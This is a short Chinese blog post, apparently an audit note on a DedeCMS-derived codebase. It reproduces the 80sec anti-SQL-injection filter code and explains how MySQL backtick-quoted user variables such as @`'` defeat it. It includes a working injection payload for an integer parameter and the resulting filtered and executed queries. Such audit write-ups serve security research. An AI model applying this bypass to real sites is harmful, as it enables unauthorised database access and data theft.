关于某源码实战80sec防注入绕过

前言:自己在看一套dede的二开源码的时候记录下

参考文章:https://blog.csdn.net/wswokao/article/details/80792139
参考文章:https://www.uedbox.com/post/19828/

知识点:

在Mysql当中,定义变量用@字符,可以用set @a='abc',来为变量赋值,然后通过select @a来进行取值

通过上面的了解,可以直接定义一个空值的变量出来,比如 @``,结果如下:

80sec中绕过的利用

80Ssec过滤代码:

while (true)
{
$pos = strpos($db_string, '\'', $pos + 1); // 检测单引号 '
if ($pos === false) //如果不存在单引号则直接跳出
{
break;
}
$clean .= substr($db_string, $old_pos, $pos - $old_pos);
while (true)
{
$pos1 = strpos($db_string, '\'', $pos + 1);
$pos2 = strpos($db_string, '\\', $pos + 1);
if ($pos1 === false)
{
break;
}
elseif ($pos2 == false || $pos2 > $pos1)
{
$pos = $pos1;
break;
}
$pos = $pos2 + 1;
}
$clean .= '$s$';
$old_pos = $pos + 1;
}
$clean .= substr($db_string, $old_pos);
$clean = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '), $clean)));

这里为了合法的构造出一个单引号,目的是为了让sql正确,我们可以用 @`'` 放入sql语句当中,帮助我们绕过防注入程序检查,这两个也可以进行使用:@`'`@,"`'`"

在审计的时候遇到一个整形的注入点,该如何绕过(gpc开启的状态下,其实这里开不开都无所谓,因为dede中自己也会进行对应的处理的)?如下的代码可以知道,当被两边单引号包裹的地方会被替换为$s$

注入绕过语句:1 or @`'` and (select length(database())=11)#'

过滤处理后的语句:select XXXX from XX_station_letters where id = 1 or @`\$s$ order by createdtime desc

最后执行的语句:SELECT XXXX FROM XX_station_letters where id = 1 or @`'` and (select length(database())=11)

@`'`和 #' 来配合包裹对中间的语句作为$s$处理直接绕过了80sec注入,然后右边又是一个注释符过滤了单引号,酒馆师傅还是强!

posted @   zpchcbd  阅读(871)  评论(0编辑  收藏  举报
编辑推荐:
· 开发者必知的日志记录最佳实践
· SQL Server 2025 AI相关能力初探
· Linux系列:如何用 C#调用 C方法造成内存泄露
· AI与.NET技术实操系列(二):开始使用ML.NET
· 记一次.NET内存居高不下排查解决与启示
阅读排行:
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY
点击右上角即可分享
微信分享提示